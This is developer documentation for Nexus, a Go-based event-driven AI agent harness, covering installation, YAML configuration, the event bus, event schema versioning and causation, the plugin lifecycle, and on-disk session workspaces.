Nexus

Nexus is a modular AI agent harness built on a pure event-driven architecture in Go. The core manages only the event lifecycle and plugin registry — all behavior is delivered through composable plugins.

This means you can assemble exactly the agent you need by choosing which plugins to activate, how to configure them, and optionally writing your own.

Why Nexus?

• Event-driven core — Plugins never call each other directly. All communication flows through a central typed event bus, making the system loosely coupled and easy to extend.
• Composable by design — Pick an agent strategy (ReAct, Plan & Execute, Orchestrator), pair it with tools, memory, and an I/O interface, and you have a working agent.
• Minimal dependencies — Only gopkg.in/yaml.v3 beyond the Go standard library. The Anthropic API is called via raw HTTP — no SDK required.
• Configuration-driven — YAML profiles let you define entirely different agent behaviors without changing code.
• Session persistence — Every session captures conversation history, thinking steps, plans, and file artifacts to a structured workspace on disk.

What You Can Build

• Coding assistants with shell access, file I/O, and planning capabilities
• Research agents with large context windows and no tool access
• Multi-agent workflows using the orchestrator to decompose tasks across worker subagents
• Document analysis pipelines with PDF extraction and skill-based instructions
• File-driven multi-stage workflows with the ICM plugin — a folder on disk is the workflow, contracts per stage, loops + fan-out + human gates included
• Custom domain agents by writing your own plugins and skills

How This Documentation is Organized

Quick Start

# Clone and build
git clone https://github.com/frankbardon/nexus.git
cd nexus
make build

# Set your API key
export ANTHROPIC_API_KEY="sk-ant-..."

# Run with the default profile
bin/nexus -config configs/default.yaml

See Installation for full details.

Installation

Prerequisites

• Go 1.21+ — Nexus is written in Go and builds with the standard toolchain
• An API key for at least one LLM provider — Nexus ships with first-party providers for Anthropic (Claude) and OpenAI (GPT / o-series). Bring your own key for whichever provider(s) your config activates.

Optional:

• poppler-utils — Required only if you use the PDF reader plugin (pdftotext, pdfinfo)

Building from Source

git clone https://github.com/frankbardon/nexus.git
cd nexus
make build

This produces a binary at bin/nexus.

Available Make Targets

Setting Your API Key

Each provider plugin reads its key from an environment variable. The default names match the upstream convention: ANTHROPIC_API_KEY for the Anthropic plugin, OPENAI_API_KEY for the OpenAI plugin. Set whichever your active config needs:

# Using Claude
export ANTHROPIC_API_KEY="sk-ant-your-key-here"

# Or using OpenAI
export OPENAI_API_KEY="sk-your-key-here"

Or place them in a .env file in the project root:

ANTHROPIC_API_KEY=sk-ant-your-key-here
OPENAI_API_KEY=sk-your-key-here

You can also pass the key inline (api_key:) or point at a different env var (api_key_env:) per-provider. See the Anthropic and OpenAI plugin pages for the full options, plus Fallback and Fanout for using multiple providers together.

Running Nexus

Run with a specific configuration file:

bin/nexus -config configs/default.yaml

CLI Flags

Resuming a Session

To resume a previous session, pass the session ID:

bin/nexus -recall abc123def456

This loads the session’s config snapshot so the agent starts with the same configuration it had originally.

Your First Configuration

Nexus configuration is a single YAML file with two top-level sections: core (engine settings) and plugins (what to activate and how to configure it).

Minimal Configuration

Here’s the simplest useful configuration — a conversational agent with no tools:

core:
  log_level: warn
  models:
    default: balanced
    balanced:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.memory.capped

  nexus.agent.react:
    max_iterations: 10
    system_prompt: "You are a helpful assistant."

  nexus.memory.capped:
    max_messages: 100
    persist: true

Save this as my-agent.yaml and run it:

bin/nexus -config my-agent.yaml

Understanding the Structure

Core Section

The core section configures the engine itself:

core:
  log_level: warn          # debug | info | warn | error
  tick_interval: 5s        # heartbeat interval
  max_concurrent_events: 100

  models:
    default: balanced      # which role to use when none specified
    reasoning:             # high-capability model for planning
      provider: nexus.llm.anthropic
      model: claude-opus-4-20250514
      max_tokens: 16384
    balanced:              # general-purpose model
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    quick:                 # fast model for simple tasks
      provider: nexus.llm.anthropic
      model: claude-haiku-4-5-20251001
      max_tokens: 4096

  sessions:
    root: ~/.nexus/sessions
    retention: 30d
    id_format: datetime_short

Plugins Section

The plugins section has two parts:

1. active — a list of plugin IDs to load (order doesn’t matter; dependencies are resolved automatically)
2. Per-plugin config — each key matching a plugin ID provides that plugin’s settings

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.tool.shell
    - nexus.tool.file

  nexus.tool.shell:
    allowed_commands: ["ls", "cat", "grep", "find"]
    timeout: 30s
    sandbox: true

Adding Tools

To give your agent capabilities, add tool plugins to the active list and configure them:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.tool.shell          # Shell command execution
    - nexus.tool.file           # File read/write/list
    - nexus.control.hitl        # ask_user tool + HITL approvals
    - nexus.memory.capped

  nexus.tool.shell:
    allowed_commands: ["go", "git", "ls", "cat", "grep", "make"]
    timeout: 30s
    sandbox: true

Tools register themselves automatically when the agent starts. The agent discovers available tools through the event bus — no explicit wiring needed.

Adding Planning

To enable a planning phase before the agent acts, add a planner plugin and set planning: true on the agent:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.planner.dynamic
    - nexus.observe.thinking
    # ... other plugins

  nexus.agent.react:
    max_iterations: 10
    planning: true
    system_prompt: |
      You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

      ## Guidelines

      1. Always explain your reasoning before making changes
      2. Run tests after modifications to verify correctness
      3. Prefer minimal, targeted changes over broad refactors
      4. Ask for clarification when requirements are ambiguous
      5. Read files in chunks 16kb or less
      6. Follow the existing code style and conventions of the project

  nexus.planner.dynamic:
    approval: auto          # always | never | auto
    max_steps: 10
    model_role: reasoning   # use the high-capability model for planning

See Dynamic Planner and Static Planner for details.

Using System Prompts

System prompts can be defined inline or loaded from a file:

# Inline
nexus.agent.react:
  system_prompt: "You are a coding assistant. Be concise and precise."

# From file
nexus.agent.react:
  system_prompt: |
      You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

      ## Guidelines

      1. Always explain your reasoning before making changes
      2. Run tests after modifications to verify correctness
      3. Prefer minimal, targeted changes over broad refactors
      4. Ask for clarification when requirements are ambiguous
      5. Read files in chunks 16kb or less
      6. Follow the existing code style and conventions of the project

Next Steps

• Learn about the architecture to understand how plugins communicate
• Browse the plugin reference to see what’s available

Architecture Overview

Nexus follows a strict event-driven architecture. The engine is intentionally minimal — it provides the event bus, plugin registry, lifecycle management, and session workspace. All behavior comes from plugins.

Core Principle

Plugins never call each other directly. Every interaction flows through the central event bus as typed events. This keeps plugins decoupled and makes the system easy to extend or reconfigure.

flowchart TB
    subgraph Engine["🛠 Engine (pkg/engine)"]
        direction TB
        EB[EventBus]
        REG[PluginRegistry]
        LM[LifecycleManager]
        EB --- REG --- LM
        DISPATCH{{Event Dispatch}}
        EB --> DISPATCH
    end

    DISPATCH --> IO[IO Plugins<br/>tui · browser · wails]
    DISPATCH --> AG[Agent Plugins<br/>react · planexec · orchestrator]
    DISPATCH --> LLM[LLM Providers<br/>anthropic · openai · fallback]
    DISPATCH --> TL[Tool Plugins<br/>shell · file · web · knowledge_search]
    DISPATCH --> MEM[Memory Plugins<br/>capped · summary · longterm · vector]
    DISPATCH --> OBS[Observers<br/>logger · otel · thinking]

    classDef engine fill:#1e3a5f,stroke:#4a90e2,stroke-width:2px,color:#fff;
    classDef plugin fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
    classDef dispatch fill:#4a3a5f,stroke:#9b59b6,stroke-width:2px,color:#fff;
    class EB,REG,LM engine;
    class IO,AG,LLM,TL,MEM,OBS plugin;
    class DISPATCH dispatch;

Engine Components

The engine (pkg/engine/) contains these components:

Boot Sequence

When Engine.Run() is called:

1. Config loaded — YAML file is parsed, defaults merged, per-plugin configs extracted
2. Session created — A new session workspace is set up on disk (or an existing one is resumed)
3. core.boot emitted — Signals the start of the boot process
4. Plugins initialized — Topologically sorted by dependencies, then Init() called serially
5. Plugins readied — Ready() called in parallel on all initialized plugins
6. core.ready emitted — All plugins are up and listening
7. Event loop — The engine listens for events until a shutdown signal arrives
8. Shutdown — Plugins shut down in reverse dependency order, core.shutdown emitted

sequenceDiagram
    autonumber
    participant Caller as Caller<br/>(CLI / Embedder)
    participant Engine
    participant Session
    participant Bus as EventBus
    participant Plugins

    Caller->>Engine: Run(ctx)
    Engine->>Engine: Load YAML config
    Engine->>Session: Create session workspace
    Engine->>Bus: emit core.boot
    Bus->>Plugins: Init() in dependency order
    Plugins-->>Bus: subscriptions registered
    Engine->>Plugins: Ready() in parallel
    Engine->>Bus: emit core.ready
    Note over Bus,Plugins: Event loop —<br/>plugins drive behavior
    Caller-->>Engine: SIGINT / Stop()
    Engine->>Plugins: Shutdown() in reverse order
    Engine->>Bus: emit core.shutdown

Event Flow Example

Here’s a typical request flow through the system:

sequenceDiagram
    autonumber
    actor User
    participant IO as nexus.io.tui
    participant Agent as nexus.agent.react
    participant LLM as nexus.llm.anthropic
    participant Gates as before:* gates
    participant Tool as nexus.tool.shell

    User->>IO: types message
    IO->>Agent: io.input
    Agent->>LLM: llm.request
    LLM->>LLM: call Claude API
    LLM-->>Agent: llm.response

    alt response contains tool calls
        Agent->>Gates: before:tool.invoke (vetoable)
        Gates-->>Agent: pass
        Agent->>Tool: tool.invoke
        Tool->>Tool: execute
        Tool->>Gates: before:tool.result (vetoable)
        Gates-->>Tool: pass
        Tool-->>Agent: tool.result
        Agent->>LLM: llm.request (loop)
    else final answer
        Agent->>IO: io.output
        IO-->>User: display response
    end

Key Design Decisions

Synchronous Dispatch

Events are dispatched synchronously — handlers execute one at a time, ordered by priority. This makes the system predictable and avoids race conditions.

Vetoable Events

Events prefixed with before: are vetoable. Any handler can block the action by setting a veto on the payload. This enables approval workflows (e.g., confirming tool execution).

Plugin Dependencies

Plugins declare their dependencies by ID. The lifecycle manager topologically sorts them to ensure correct init order. Circular dependencies cause a boot failure.

Multi-Instance Plugins

Some plugins (like nexus.agent.subagent) support multiple instances via ID suffixes. For example, nexus.agent.subagent/researcher creates an instance with InstanceID set to the full suffixed ID.

Next Steps

• Event Bus — How events are dispatched, filtered, and prioritized
• Plugin System — The plugin interface, lifecycle, and how to write your own
• Sessions — How session data is persisted to disk

Event Bus

The event bus is the central nervous system of Nexus. Every plugin communicates exclusively through it — emitting events when something happens, and subscribing to events it cares about.

Interface

type EventBus interface {
    Emit(eventType string, payload any) error
    EmitEvent(event Event[any]) error
    EmitAsync(eventType string, payload any) <-chan error
    Subscribe(eventType string, handler HandlerFunc, opts ...SubscribeOption) (unsubscribe func())
    SubscribeAll(handler HandlerFunc) (unsubscribe func())
    EmitVetoable(eventType string, payload any) (VetoResult, error)
    Drain(ctx context.Context) error
}

Events

Every event is a typed container with metadata and a Causation block that records its provenance:

type Event[T any] struct {
    Type      string         // Dotted namespace (e.g., "llm.request")
    ID        string         // Random hex identifier
    Timestamp time.Time      // When the event was created
    Source    string         // Plugin ID that emitted this event
    Payload   T              // The event-specific data
    Causation EventCausation // Auto-filled by the bus — see Causation, below
}

See Causation for the full discussion of how ParentID, SessionID, AgentID, Sequence, and Depth are populated and how plugins push their own CausationContext. The short version: the bus does the bookkeeping. Plugin authors don’t have to thread session identity through every emit site.

Event types follow a dotted namespace convention:

Subscribing to Events

Plugins declare their subscriptions in the Subscriptions() method:

func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
        {EventType: "tool.result", Priority: 50},
    }
}

Or subscribe dynamically during Init():

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    ctx.Bus.Subscribe("some.event", p.handleEvent, engine.WithPriority(10))
    return nil
}

Subscribe Options

Priority Ordering

Handlers for the same event type execute in priority order (ascending). This is how the system ensures, for example, that the LLM provider processes requests before observers log them.

Common conventions:

• 5–10 — High priority (providers, cancellation handlers)
• 50 — Normal priority (most plugins)
• 90 — Low priority (observers, persistence)

Wildcard Subscriptions

SubscribeAll() registers a handler that receives every event, regardless of type. This is used by the event logger to capture all activity:

ctx.Bus.SubscribeAll(func(event engine.Event[any]) {
    // Logs every event in the system
})

Emitting Events

Plugins emit events by calling Emit() with a type string and payload:

ctx.Bus.Emit("tool.result", events.ToolResult{
    ID:     callID,
    Name:   "shell",
    Output: output,
})

Plugins must declare all event types they may emit in the Emissions() method:

func (p *MyPlugin) Emissions() []string {
    return []string{"tool.result", "tool.register", "core.error"}
}

Async Emit

EmitAsync() dispatches an event in a separate goroutine, returning immediately with a channel that receives nil on success or an error:

ch := ctx.Bus.EmitAsync("llm.request", request)
// ... do other work ...
if err := <-ch; err != nil {
    // handle error
}

Handlers still run synchronously within the goroutine — EmitAsync only makes the dispatch non-blocking relative to the caller. Used by the fanout plugin to send parallel requests to multiple providers.

Vetoable Events

Events prefixed with before: support vetoing. This enables approval workflows — for example, the TUI can present an approval dialog before a tool runs.

result, err := ctx.Bus.EmitVetoable("before:tool.invoke", toolCall)
if result.Vetoed {
    // Action was blocked
    fmt.Println("Vetoed:", result.Reason)
    return
}
// Proceed with the action
ctx.Bus.Emit("tool.invoke", toolCall)

Handlers veto by modifying the payload:

func (p *MyPlugin) handleBeforeToolInvoke(event engine.Event[any]) {
    vr := event.Payload.(*engine.VetoResult)
    vr.Vetoed = true
    vr.Reason = "User denied tool execution"
}

Event Filters

Filters are predicate functions that gate handler execution:

ctx.Bus.Subscribe("llm.response", p.handleResponse,
    engine.WithPriority(10),
    engine.WithFilter(func(meta engine.EventMeta) bool {
        return meta.Source == "nexus.llm.anthropic"
    }),
)

Draining

Drain() waits for all in-flight events to complete. This is used during shutdown to ensure no events are lost:

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
bus.Drain(ctx)

Thread Safety

The event bus is safe for concurrent use. Handler registration and event dispatch use read-write locks. Handler slices are copied before dispatch to allow concurrent emits without blocking.

Events

The pkg/events package defines every typed payload that flows over the engine bus. Plugins import these types directly; the journal (pkg/engine/journal/) writes them to disk; out-of-tree consumers (replay tools, dashboards, MCP servers, embedders) read those journals and depend on the same struct shapes.

Because the contract is observable to many parties, every change to a payload struct is a potential compatibility event. Nexus uses a simple per-event-type versioning scheme to make those events explicit and auditable.

Versioning convention

Every top-level event-payload struct carries two things:

1. A version constant: <StructName>Version = 1.
2. A SchemaVersion int \json:“_schema_version”`` field as the first declared field on the struct.

Producers stamp SchemaVersion = <StructName>Version on every emitted literal. The journal records the stamped value verbatim, so downstream consumers can branch on the contract version without correlating to build metadata or git revisions.

Example:

const LLMRequestVersion = 1

type LLMRequest struct {
    SchemaVersion int `json:"_schema_version"`

    Role     string
    Model    string
    Messages []Message
    // ...
}

// Producer:
_ = bus.Emit("llm.request", events.LLMRequest{
    SchemaVersion: events.LLMRequestVersion,
    Role:          "balanced",
    // ...
})

Versions start at 1. Nexus is a fresh project — there is no historical drift to encode in a 0-baseline. The only place 0 appears is the deserialization rule below.

Why per-type versions, not a global one

Because event payloads churn at very different rates. llm.request may gain a field every quarter; core.tick is unlikely to ever change. Coupling them into a single global version forces a cascade of consumer-side compatibility code that is mostly noise.

The v0 == v1 deserialization rule

When a journal record (or a third-party producer that hasn’t yet adopted the field) leaves out _schema_version, JSON deserializes it to Go’s zero value: 0. Consumers MUST treat 0 as v1 — the running code’s contract — rather than reject the payload.

This keeps:

• Journals written before the field existed replayable. Idea 01 (durable journal) shipped before Phase 4 of Idea 10. Replay must flow through the new code path without rewriting old records.
• Embedders that haven’t pulled the latest Nexus minor interoperable. Producers running an older Nexus emit payloads without the field; the new bus should accept them.

The rule is implicit while v1 is the only shipped version: nothing special happens during unmarshal. The first v2 to ship will register a {Type, From: 0, To: 1} no-op in pkg/events/compat/ plus the real {Type, From: 1, To: 2} migrator chained after it. compat.Apply is the single entry point.

Compat package

pkg/events/compat/ holds field-level migrations between versions. The public surface is small:

type Key struct {
    EventType string  // "llm.request"
    From, To  int
}

type Migrator func(payload map[string]any) (map[string]any, error)

var Migrations = map[Key]Migrator{}

func Apply(eventType string, from, to int, payload map[string]any) (map[string]any, error)

Apply chains one-step migrators from from up to to. With the registry empty — today’s state — Apply is a no-op pass-through.

Compat is wired into the journal-replay path in two places:

• pkg/engine/engine.go — replayPayloadConverter calls compat.Apply before journal.PayloadAs[T] re-types map payloads back into structs for live re-emission during engine.ReplaySession.
• pkg/eval/runner/runner.go — same pattern for the eval harness’s case-driven replay path.

When a future PR ships v2 of an event type, the migrator goes into pkg/events/compat/ and replay-time data flows through it without touching the engine. No engine code change required.

Lint rule guarantee

make check-events (alias of scripts/check-event-versions.sh, backed by internal/cmd/check-event-versions/) compares the working tree’s pkg/events/*.go against a base git revision (default HEAD~1, override via CHECK_EVENTS_BASE). It fails the build when:

• A field was removed from an existing struct without bumping the matching <Name>Version constant.
• A field was renamed (heuristic: same position + same type, but different name) without a bump.
• A field’s type changed without a bump.

Additive changes (new fields with sensible zero defaults) pass without a bump because they are forward-compatible — older consumers ignore the unknown field, JSON round-trips preserve it.

The rule wires into make lint so existing Go-quality CI gates catch schema regressions automatically.

False positives (e.g., reordering fields with identical types) are tolerable — the operator just bumps the version trivially. False negatives (a rename slipping through) are the failure case the rule guards against; the position+type+name comparator catches that class.

Author guide

Adding a new event type

1. Define the struct in the appropriate per-domain file (core.go, llm.go, agent.go, …) with SchemaVersion int \json:“_schema_version”`` as the first declared field.
2. Add <Name>Version = 1 to that file’s version-constants block.
3. List the struct in pkg/events/version_test.go’s versionedPayloads() table so the round-trip test covers it.
4. Producers must stamp SchemaVersion: events.<Name>Version on every literal they emit.

Mutating an existing event type

• Adding a field with a sensible zero default — go ahead. No bump needed; the lint check passes.
• Removing a field — bump <Name>Version and register a {Type, From: oldVer, To: newVer} migrator in pkg/events/compat/ that drops the field from old payloads (or rewrites it onto a replacement field).
• Renaming a field — same as removal: bump the version, register a migrator that copies the old key to the new key.
• Changing a field’s type — same: bump and register a converter.

The pkg/events/compat/compat_test.go placeholder test demonstrates the registration pattern; copy it for new migrators.

What NOT to version

Helper structs that exist only as nested fields inside top-level payloads (Message, Citation, ToolCallRequest, Usage, etc.) deliberately do not carry SchemaVersion. They have no independent identity on the wire — their version is the version of the enclosing payload. Versioning them would double-count migrations and clutter every literal.

When in doubt, version it; the cost of an extra int is dwarfed by the cost of an undetected breaking change.

Causation

Every dispatched event in Nexus carries a Causation block that records its provenance: the parent event that caused it, the session it belongs to, the agent that produced it, and a monotonic per-session sequence number. The bus populates these fields automatically — plugin authors don’t have to remember to set them.

Why

Causation is the substrate the Replay primitive walks, the attribution observability collectors filter on, and the dimension the Sub-agent delegation runtime uses to distinguish a parent’s work from a specialist’s. Once it’s present on every event, you can:

• Walk an entire session’s causation DAG to debug what happened.
• Filter envelopes by AgentID to inspect just one specialist’s work.
• Branch and fork: replay to a sequence, then continue along a different path.

Schema

type EventCausation struct {
    ParentID  string // EventID of the event whose handler emitted this one
    ParentSeq uint64 // Mirrors ParentID via the per-session monotonic sequence
    SessionID string // Session this event belongs to
    AgentID   string // Agent that produced it (sub-agent identity for delegate work)
    Sequence  uint64 // Monotonic per session; assigned at dispatch
    Depth     int    // Sub-agent recursion depth at emission time
}

Causation lives on both Event[T] and EventMeta. Wildcard subscribers and filters see it without unwrapping the payload.

How it’s filled

Three sources, in priority order:

1. Caller-set fields win. Replay tools and sub-agent runtimes that need to override the auto-derived values do so by populating Causation on the Event[any] they pass to EmitEvent. The bus respects any non-zero / non-empty field.
2. Dispatch stack supplies ParentID and ParentSeq. The bus tracks the in-flight event per goroutine; anything emitted inside that goroutine’s handler chain inherits the in-flight event as its parent.
3. Causation context supplies SessionID, AgentID, Depth. Two sources here:
   • PushCausationContext(c) func() — per-goroutine stack pushed by callers that have explicit knowledge of who they’re running for (sub-agent dispatch, IO transports binding to a session).
   • SetDefaultCausationContext(c) — bus-wide fallback applied when the calling goroutine has nothing pushed. Engine.StartSession installs the SessionID here so every dispatched event carries session attribution even when emitters never call PushCausationContext.

Pushing context

The typical pattern: push at the start of a scoped operation, defer the pop.

if cc, ok := bus.(engine.CausationController); ok {
    pop := cc.PushCausationContext(engine.CausationContext{
        AgentID: "delegate/analyst/" + subSessionID,
        Depth:   parentDepth + 1,
    })
    defer pop()
}
// Every event emitted from this goroutine until pop() carries the AgentID
// and Depth above.

CausationController is an optional interface — checking the assertion at call sites keeps embedders using a custom bus implementation untouched.

Journal

The journal.Envelope written by pkg/engine/journal carries Seq, ParentSeq, ParentID, SessionID, AgentID, and Depth alongside the payload, so downstream replay (pkg/replay) and projection tools can reconstruct the full causation DAG without re-deriving anything.

Excluded events

Events on the journal exclusion set (core.tick by default) skip seq assignment, dispatch-stack tracking, and the replay ring — and therefore have Sequence = 0 and no ParentSeq / ParentID. They still carry the default SessionID / AgentID from the causation context so observability tooling can attribute the heartbeats.

Plugin System

Every piece of behavior in Nexus is delivered through plugins. The engine itself only manages the event bus, plugin lifecycle, and session workspace.

Plugin Interface

All plugins implement the engine.Plugin interface:

type Plugin interface {
    ID() string                              // Unique identifier (e.g., "nexus.tool.shell")
    Name() string                            // Human-readable name
    Version() string                         // Version string
    Dependencies() []string                  // IDs that must ALREADY be active (orders boot)
    Requires() []Requirement                 // IDs to auto-activate if absent (see below)
    Init(ctx PluginContext) error             // Initialize with engine services
    Ready() error                            // Called after all plugins initialized
    Shutdown(ctx context.Context) error       // Graceful teardown
    Subscriptions() []EventSubscription      // Events this plugin listens to
    Emissions() []string                     // Event types this plugin may emit
}

Dependencies() vs Requires()

Two related but distinct methods:

• Dependencies() only validates that the listed IDs are already active and orders boot (topological sort). If an ID in the list is missing, boot fails. It never activates anything.
• Requires() activates missing siblings with default config. At boot, the lifecycle walks Requires() transitively from the user-declared active list and appends any missing IDs before the topological sort runs.

Return Requires() []Requirement { return nil } when a plugin has no hard siblings.

Auto-activation semantics

type Requirement struct {
    ID       string            // plugin to auto-activate
    Default  map[string]any    // config used only when user has not configured ID
    Optional bool              // true → skip silently with WARN when factory is unregistered
}

Merge rule: whole-object replace. If the user supplies any config for the required ID, the user’s config wins entirely and Default is discarded. There is no field-level merge. This keeps precedence predictable and avoids surprise overrides.

Cycles. A cycle in Requires() is detected the same way as a Dependencies() cycle — boot fails with a clear error.

Visibility. Every auto-activation emits an INFO log at boot:

auto-activating plugin nexus.memory.capped (required by nexus.agent.react); config_source=default

After expansion completes, a single "active plugin set resolved" line lists every entry annotated [user] (declared in config) or [auto: required-by=X,config=default|user-override]. Missing optional requirements log WARN and boot proceeds.

Example: ReAct’s Requires().

func (p *Plugin) Requires() []engine.Requirement {
    return []engine.Requirement{
        {
            ID: "nexus.memory.capped",
            Default: map[string]any{"max_messages": 100, "persist": true},
        },
        {ID: "nexus.control.cancel"},
        {ID: "nexus.tool.catalog"},
    }
}

When a user’s config lists only nexus.agent.react in plugins.active, the engine automatically brings in the conversation, cancel, and catalog plugins at boot. Users can still override any of them by listing the ID in plugins.active with their own config map.

Plugin Context

During initialization, each plugin receives a PluginContext with access to engine services:

type PluginContext struct {
    Config     map[string]any     // This plugin's config from YAML
    Bus        EventBus           // The central event bus
    Logger     *slog.Logger       // Structured logger scoped to this plugin
    DataDir    string             // Session-scoped directory for this plugin's data
    Session    *SessionWorkspace  // The active session workspace
    Models     *ModelRegistry     // Resolve model roles to concrete configs
    Prompts    *PromptRegistry    // Register dynamic system prompt sections
    System     *SystemInfo        // Platform info (OS, arch, open command)
    InstanceID string             // Full ID including suffix for multi-instance plugins
}

Plugin ID Convention

Plugin IDs use a dotted namespace: nexus.<category>.<name>

Plugin Registration

Plugins are registered as factories in main.go:

eng.Registry.Register("nexus.tool.shell", shell.New)
eng.Registry.Register("nexus.tool.file", fileio.New)

The factory function signature is:

func New() engine.Plugin

Registration makes the plugin available — it won’t be instantiated unless it appears in the config’s active list.

Lifecycle

stateDiagram-v2
    direction LR
    [*] --> registered: factory registered
    registered --> initialized: Init(ctx) — serial
    initialized --> ready: Ready() — parallel
    ready --> ready: handle events
    ready --> shutdown: SIGINT / Stop()
    shutdown --> [*]: Shutdown() — reverse order

    note left of registered
        Plugin appears in config
        active list — factory
        produces an instance.
    end note
    note right of ready
        Plugins talk only
        through the event bus.
    end note

Boot Phase

1. The lifecycle manager reads the active list from config
2. Plugins are topologically sorted by their declared Dependencies()
3. Init() is called serially in dependency order — each plugin receives its PluginContext
4. Ready() is called on all plugins (can run in parallel)

Runtime

During runtime, plugins interact exclusively through the event bus. They emit events and handle events they’ve subscribed to.

Shutdown Phase

1. A shutdown signal arrives (SIGINT, SIGTERM, or programmatic)
2. Shutdown() is called on each plugin in reverse dependency order
3. The event bus drains remaining in-flight events

Dependencies

Plugins declare dependencies on other plugin IDs:

func (p *MyPlugin) Dependencies() []string {
    return []string{"nexus.llm.anthropic", "nexus.agent.react"}
}

The lifecycle manager ensures dependencies are initialized before dependents. Circular dependencies cause a boot-time error.

Instance-Aware Dependencies

For multi-instance plugins (e.g., nexus.agent.subagent/researcher), the dependency resolver first tries an exact match, then falls back to the base ID (without the suffix).

Multi-Instance Plugins

Some plugins support running multiple instances. In the config, use a slash suffix:

plugins:
  active:
    - nexus.agent.subagent/researcher
    - nexus.agent.subagent/writer

  nexus.agent.subagent/researcher:
    system_prompt: "You are a research specialist."
    tool_name: spawn_researcher

  nexus.agent.subagent/writer:
    system_prompt: "You are a writing specialist."
    tool_name: spawn_writer

Each instance receives its full ID (including suffix) in PluginContext.InstanceID. The instance should use this as its identity rather than the hardcoded base ID.

Subscriptions and Emissions

Plugins declare what they listen to and what they emit. This serves as documentation and enables future validation:

func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
        {EventType: "tool.result", Priority: 50},
    }
}

func (p *MyPlugin) Emissions() []string {
    return []string{"io.output", "llm.request"}
}

Subscriptions declared here are automatically registered by the lifecycle manager. Plugins can also subscribe dynamically in Init() or Ready().

Plugin Data Directory

Each plugin gets a session-scoped directory for persisting data:

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    // ctx.DataDir points to: ~/.nexus/sessions/<id>/plugins/<plugin-id>/
    // Write plugin-specific data here
    return nil
}

This directory is created lazily when accessed via Session.PluginDir(pluginID).

Sessions

Every Nexus run creates a session — a persistent workspace on disk that captures conversation history, thinking steps, plans, and plugin data.

Directory Structure

Sessions are stored under the configured root directory (default: ~/.nexus/sessions/):

~/.nexus/sessions/<session-id>/
├── context/
│   └── conversation.jsonl    # Conversation history (from memory plugin)
├── files/                    # Files created during the session
├── journal/
│   ├── active.jsonl          # Live event journal (every bus event,
│   │                         #   including thinking.step + plan.progress)
│   └── *.jsonl.zst           # Rotated, zstd-compressed segments
├── metadata/
│   ├── session.json          # Session metadata
│   └── config-snapshot.yaml  # Config used for this session
└── plugins/
    └── <plugin-id>/          # Per-plugin data directories

Thinking steps and plan progress are no longer kept in dedicated thinking.jsonl / plans.jsonl files — they live in the journal alongside every other event. Read them via journal.Writer.SubscribeProjection (live) or journal.ProjectFile (post-mortem).

The journal records every bus event except the types listed in journal.exclude_events (default ["core.tick"]). Excluded events still dispatch to bus subscribers — only the durable log skips them, and their seq is not consumed, so on-disk envelopes stay gap-free. The default suppresses the engine heartbeat, which replay regenerates from the live tick goroutine and which otel / eval already treat as noise. See configuration reference for the full key.

Session Metadata

Each session tracks metadata in metadata/session.json:

type SessionMeta struct {
    ID                   string            // Random hex identifier
    StartedAt            time.Time         // When the session began
    EndedAt              *time.Time        // When the session ended (nil if active)
    Profile              string            // Config profile name
    Plugins              []string          // Active plugin IDs
    Labels               map[string]string // User-defined labels
    TurnCount            int               // Number of conversation turns
    TokensUsed           int               // Total tokens consumed
    PromptTokensUsed     int               // Input tokens consumed
    CompletionTokensUsed int               // Output tokens consumed
    CostUSD              float64           // Accumulated cost in USD
    Status               string            // "active" or "ended"
}

Session Workspace API

Plugins interact with the session through the SessionWorkspace struct:

// Write a file to the session workspace
session.WriteFile("context/mydata.json", data)

// Read a file back
data, err := session.ReadFile("context/mydata.json")

// Append to a file (useful for JSONL logs)
session.AppendFile("context/events.jsonl", line)

// List files in a subdirectory
files, err := session.ListFiles("context")

// Check if a file exists
exists := session.FileExists("context/conversation.jsonl")

Directory Helpers

session.ContextDir()          // ~/.nexus/sessions/<id>/context/
session.FilesDir()            // ~/.nexus/sessions/<id>/files/
session.MetadataDir()         // ~/.nexus/sessions/<id>/metadata/
session.PluginDir("nexus.tool.shell")  // ~/.nexus/sessions/<id>/plugins/nexus.tool.shell/

PluginDir() creates the directory lazily on first access.

File Events

Every SessionWorkspace write helper announces itself on the bus, so a subscriber does not have to watch the filesystem to know what a session changed:

The payload carries session_id, the slash-separated session-relative path, size (the size of the whole file after the write, not the size of the change), and an append-aware delta: offset and bytes_added. The TUI, browser and Wails transports subscribe to these to surface file activity; see Event Reference for the exact payload.

AppendFile reuses the same two event types rather than a separate append event, so existing subscribers see appends without changing.

The append-aware delta

Appends are the highest-churn writes in a session — conversation history, turn timing, compaction output and shell history all land through AppendFile — and a subscriber told only “this path changed” has to re-read (and, for a sync backend, re-upload) the whole file every time. offset and bytes_added say which part changed:

A distinct session.file.appended event was considered and rejected. It would have carried the same three numbers, cost every existing subscriber a change just to keep seeing appends, and — because context/conversation.jsonl is written by both helpers — forced each of them to merge two event streams to reconstruct one file’s history. The delta is more information about a change subscribers already receive, so it belongs on the payload.

Object stores have no append primitive. Nothing here lets a backend write the appended bytes into an existing object: S3, GCS and every S3-compatible store replace whole objects. What the delta buys is the freedom to coalesce and defer — a backend that knows the last two hundred events on conversation.jsonl only added bytes to the tail knows it can collapse them into one upload of the current file at the next boundary, and knows it has not missed a rewrite in between. Reading offset as “seek here and write bytes_added bytes into the bucket” is a misreading.

